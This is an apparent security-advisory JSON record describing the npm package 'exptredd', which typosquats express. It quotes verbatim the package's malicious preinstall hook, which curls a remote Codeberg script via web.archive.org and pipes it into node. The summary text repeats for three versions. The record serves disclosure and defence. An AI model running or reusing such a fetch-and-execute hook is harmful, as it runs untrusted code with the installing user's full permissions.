{"items":[{"id":"NVI-00009897","kind":"supply_chain_event","title":"Malicious code in exptredd (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-49qv-wmf6-cj3h"],"plain_summary":"GitHub lists this malware advisory for exptredd, exptredd, exptredd. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-8c16a8f1903b8fe2b089f766ac9e3d26"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-8c16a8f1903b8fe2b089f766ac9e3d26","url":"https://github.com/advisories/GHSA-49qv-wmf6-cj3h","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-49qv-wmf6-cj3h","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T22:07:22.853Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-8c16a8f1903b8fe2b089f766ac9e3d26"],"technology":"exptredd","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035)\nnpm package exptredd@5.2.1 impersonates the express package: package.json copies express's description, author, repository, contributors, and dependency list verbatim while shipping under the name 'exptredd'. package.json line 98 declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party Codeberg repository on a mutable branch (via web.archive.org) with no version pin, hash, or signature, and piping it directly into node. Any developer who mistypes `express` and runs `npm install exptredd` executes arbitrary code from an account unrelated to the expressjs publisher at install time, with full permissions of the installing user.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.1"]},{"certainty":"source_listed","source_ids":["sr-8c16a8f1903b8fe2b089f766ac9e3d26"],"technology":"exptredd","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035)\nnpm package exptredd@5.2.1 impersonates the express package: package.json copies express's description, author, repository, contributors, and dependency list verbatim while shipping under the name 'exptredd'. package.json line 98 declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party Codeberg repository on a mutable branch (via web.archive.org) with no version pin, hash, or signature, and piping it directly into node. Any developer who mistypes `express` and runs `npm install exptredd` executes arbitrary code from an account unrelated to the expressjs publisher at install time, with full permissions of the installing user.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.3"]},{"certainty":"source_listed","source_ids":["sr-8c16a8f1903b8fe2b089f766ac9e3d26"],"technology":"exptredd","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035)\nnpm package exptredd@5.2.1 impersonates the express package: package.json copies express's description, author, repository, contributors, and dependency list verbatim while shipping under the name 'exptredd'. package.json line 98 declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party Codeberg repository on a mutable branch (via web.archive.org) with no version pin, hash, or signature, and piping it directly into node. Any developer who mistypes `express` and runs `npm install exptredd` executes arbitrary code from an account unrelated to the expressjs publisher at install time, with full permissions of the installing user.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.4"]}],"null_published_at":"2026-10-31T22:13:39.952Z","source_updated_at":"2026-10-06T00:34:12.000Z","source_disclosed_at":"2026-09-29T15:31:03.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T22:07:22.853Z"}],"next_cursor":null,"snapshot_revision":"42594"}